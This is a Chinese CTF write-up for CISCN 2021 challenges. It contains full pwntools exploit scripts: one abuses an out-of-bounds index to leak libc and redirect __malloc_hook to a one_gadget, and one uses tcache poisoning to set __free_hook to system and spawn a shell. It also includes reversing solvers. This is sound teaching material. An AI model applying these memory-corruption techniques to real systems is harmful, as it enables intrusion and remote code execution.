CISCN_2021

pwn

pwny

保护全开

image-20210517194723531

IDA

  • main

image-20210517194740860

  • read

image-20210602204007319

  • write

image-20210602204021587

write 的时候可以数组越界,输入256,第一次读入到 0x202860 处使fd非法,第二次读入时写入0,这样即可做写入操作

image-20210602204121951

解题思路:

利用数组溢出,实现任意地址读写。

  • 输入两次 0x100,数组越界,让 fd 置零
  • leak libc
  • 当scanf读取长度超过0x400的数据时会调用 malloc_hook ,所以我们可以修改 malloc_hook 指向 realloc + n , realloc 指向 one_gadget

1、fd 置零

用vmmap 看 bss 段

第二次read((unsigned __int8)random_fd, &input, 8uLL)的时候fd是无效值,整个read是无效操作,input还是0,之后又赋值给了array[0x100](即fd)

image-20210517195700168

image-20210517195801362

2、leak libc

image-20210602204143302

0x202060 - 0x202040 = 0x20 = 32 ,32/8 = 4

1
read(p64(0xFFFFFFFFFFFFFFFC)) # -4

3、计算数组addr

image-20210602204433065

1
read(p64(0xFFFFFFFFFFFFFFF5))# -11

4、修改hook

修改 malloc_hook 指向 realloc + n , realloc 指向 one_gadget

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 1

if debug == 1 :
p = process('./pwny')
if debug == 2:
p = remote('node3.buuoj.cn',29811)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946 12345

elf = ELF ('pwny')
libc = ELF('./libc-2.27.so')

def read(index):
p.sendlineafter(': ','1')
p.sendafter('Index: ',index)

def write(index):
p.sendlineafter(': ','2')
p.sendlineafter(':',str(index))
def write2(index,addr):
p.sendlineafter(': ','2')
p.sendlineafter(':',str(index))
p.send(addr)

write(0x100)
write(0x100)

read(p64(0xFFFFFFFFFFFFFFFC)) # -4
p.recvuntil('Result: ')
stderr = int(p.recvuntil('\n',drop=True),16)
libc_base = stderr - libc.sym['_IO_2_1_stderr_']
log.info('libc_base:0x%x',libc_base)

read(p64(0xFFFFFFFFFFFFFFF5))# -11
p.recvuntil('Result: ')
bss = int(p.recvuntil('\n',drop=True),16)

one_gadget = [0x4f3d5,0x4f432,0x10a41c,0xe546f,0xe5617,0xe561e,0xe5622,0x10a428]
one = one_gadget[1] + libc_base

offset1 = (libc_base + libc.sym['__malloc_hook'] - (bss + 0x58 + 8))/8
offset2 = (libc_base + libc.sym['__malloc_hook'] - (bss + 0x58))/8
realloc_off = 4

write2(offset2,p64(libc_base + libc.symbols['realloc'] + realloc_off))
write2(offset1,p64(one))

p.sendlineafter(': ','5' * 0x400)
p.interactive()

longlywolf

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64
context.log_level = 'debug'

p = process("lonelywolf")
#p = remote("124.71.230.240","26077")
libc = ELF("lonelywolf").libc

def add(size):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(0))
p.recvuntil("Size: ")
p.sendline(str(size))

def edit(data):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(0))
p.recvuntil("Content: ")
p.send(data)

def show():
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(0))

def free():
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(0))

add(0x78)

free()
edit(p64(0)*2+'\n')
free()

show()
p.recvuntil("Content: ")
heap = u64(p.recv(6)+'\x00\x00')-0x260
print hex(heap)

edit(p64(heap+0x10)+'\n')

add(0x78)

add(0x78)# in tcache_head add chunk (without head)

edit(p64(0x0801010000000000) + p64(0)*12 + p64(heap+0x250) + p64(heap+0x260))
# 0x90 0x80 0x70

# 0x70 0x80

add(0x68)#add chunk (without head)

edit(p64(0)+p64(0x91)+p64(0)+'\n') #edit chunk size,and overlapping next chunk

add(0x38) # add a nobody chunk

edit(p64(0)+p64(0x31)+'\n') # edit

add(0x78)# tcache chunk_addr

free()

show()
p.recvuntil("Content: ")
libc.address = u64(p.recv(6)+'\x00\x00') - 0x3ebca0
print hex(libc.address)
add(0x28)
gdb.attach(p)
free()

edit(p64(libc.sym['__free_hook']-8)+'\n')
add(0x28)
add(0x28)
edit('/bin/sh\x00'+p64(libc.sym['system'])+'\n')
free()

p.interactive()

Re

game

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
a='12345678'
b=[]
c=[0xa3,0x1a,0xe3,0x69,0x2f,0xbb,0x1a,0x84,0x65,0xc2,0xad,0xad,0x9e,0x96,0x5,0x2,0x1f,0x8e,0x36,0x4f,0xe1,0xeb,0xaf,0xf0,0xea,0xc4,0xa8,0x2d,0x42,0xc7,0x6e,0x3f,0xb0,0xd3,0xcc,0x78,0xf9,0x98,0x3f]
d=''
for i in range(256):
b.append(i)

n=0
for i in range(256):
g=b[i]
n=(n+g+ord(a[i%8]))%256
b[i]=b[n]
b[n]=g


for i in range(len(c)):
c[i]=c[i]^ord(a[i%8])


for i in range(len(c)//3):
c[3*i+1]=c[3*i+1]^c[3*i]
c[3*i+2]=c[3*i+1]^c[3*i+2]
c[3*i]=c[3*i+2]^c[3*i]

n=0
m=0
for i in range(39):
n=(n+1)%256
g=b[n]
m=(m+g)%256
b[n]=b[m]
b[m]=g
c[i]^=b[(g+b[n])%256]

for i in range(len(c)):
print(chr(c[i]),end='')

babybc

用到 LLVM,再IDA打开

两个函数,写了各种限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

row 0001 1000 2001 0000 1010
map[0][3] > map[0][4]
map[1][0] > map[1][1]
map[2][0] < map[2][1]
map[2][3] > map[2][4]
map[4][0] > map[4][1]
map[4][2] > map[4][3]


col 00202 00000 00010 01001
map[0][2] > map[1][2]
map[0][4] > map[1][4]
map[2][3] < map[3][3]
map[3][1] < map[4][1]
map[3][4] < map[4][3]

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
num1 = []
num2 = []
num3 = []
num4 = []
num5 = []
#################################
for i1 in range(1,6):
for i2 in range(1,6):
if(i2 == i1):
continue
else:
for i3 in range(1,6):
if(i3 == i1 or i3 == i2 or i3 == 4):
continue
else:
for i4 in range(1,6):
if(i4 == i1 or i4 == i2 or i4 == i3 or i4 == 3):
continue
else:
for i5 in range(1,6):
if(i5 == i1 or i5 == i2 or i5 == i3 or i5 ==i4 or i4 <= i5):
continue
else:
index = []
index.append(i1)
index.append(i2)
index.append(i3)
index.append(i4)
index.append(i5)
num1.append(index)
#################################
for i1 in range(1,6):
for i2 in range(1,6):
if (i2 == i1 or i2 >= i1 or i2 == 5):
continue
else:
for i3 in range(1,6):
if (i3 == i1 or i3 == i2 or i3 == 4):
continue
else:
for i4 in range(1,6):
if (i4 == i1 or i4 == i2 or i4 == i3 or i4 == 3):
continue
else:
for i5 in range(1,6):
if (i5 == i1 or i5 == i2 or i5 == i3 or i5 ==i4):
continue
else:
index = []
index.append(i1)
index.append(i2)
index.append(i3)
index.append(i4)
index.append(i5)
num2.append(index)
#################################
for i1 in range(1,6):
for i2 in range(1,6):
if (i2 == i1 or i1 >= i2):
continue
else:
for i3 in range(1,6):
if (i3 == i1 or i3 == i2 or i3 != 4):
continue
else:
for i4 in range(1,6):
if (i4 == i1 or i4 == i2 or i4 == i3 or i4 >= 3 or i4 == 3):
continue
else:
for i5 in range(1,6):
if (i5 == i1 or i5 == i2 or i5 == i3 or i5 ==i4 or i5 >= i4):
continue
else:
index = []
index.append(i1)
index.append(i2)
index.append(i3)
index.append(i4)
index.append(i5)
num3.append(index)
#################################
for i1 in range(1,6):
for i2 in range(1,6):
if (i2 == i1):
continue
else:
for i3 in range(1,6):
if (i3 == i1 or i3 == i2 or i3 == 4):
continue
else:
for i4 in range(1,6):
if (i4 == i1 or i4 == i2 or i4 == i3 or i4 != 3 or i4 == 2):
continue
else:
for i5 in range(1,6):
if (i5 == i1 or i5 == i2 or i5 == i3 or i5 ==i4):
continue
else:
index = []
index.append(i1)
index.append(i2)
index.append(i3)
index.append(i4)
index.append(i5)
num4.append(index)
#################################
for i1 in range(1,6):
for i2 in range(1,6):
if (i2 == i1 or i2 >= i1):
continue
else:
for i3 in range(1,6):
if (i3 == i1 or i3 == i2 or i3 == 4):
continue
else:
for i4 in range(1,6):
if (i4 == i1 or i4 == i2 or i4 == i3 or i3 <= i4 or i4 == 3):
continue
else:
for i5 in range(1,6):
if (i5 == i1 or i5 == i2 or i5 == i3 or i5 ==i4 or i5 == 1):
continue
else:
index = []
index.append(i1)
index.append(i2)
index.append(i3)
index.append(i4)
index.append(i5)
num5.append(index)
#################################
for i1 in num1:
for i2 in num2:
if (i1[2] <= i2[2] or i1[4] <= i2[4]):
continue
else:
flag = 0
for i in range(5):
if (i2[i] == i1[i]):
flag = 1
if (flag == 1):
continue
else:
for i3 in num3:
flag = 0
for i in range(5):
if (i3[i] == i1[i] or i3[i] == i2[i]):
flag = 1
if (flag == 1):
continue
else:
for i4 in num4:
flag = 0
for i in range(5):
if (i4[i] == i1[i] or i4[i] == i2[i] or i4[i] == i3[i]):
flag = 1
if (flag == 1):
continue
else:
for i5 in num5:
if (i4[1] >= i5[1] or i4[4] >= i5[4]):
continue
else:
flag = 0
for i in range(5):
if (i5[i] == i1[i] or i5[i] == i2[i] or i5[i] == i3[i] or i5[i] == i4[i]):
flag = 1
if (flag == 1):
continue
print('========================')
print(i1)
print(i2)
print(i3)
print(i4)
print(i5)
print('========================')
#################################

[1, 4, 2, 5, 3]
[5, 3, 1, 4, 2]
[3, 5, 4, 2, 1]
[2, 1, 5, 3, 4]
[[4, 2, 3, 1, 5]

fill_number 会检查

1
2
3
4
5
6
map
00000
00000
04400
00030
00010

最后 md5(1425353142350212150442315,32) = 8a04b4597ad08b83211d3adfa1f61431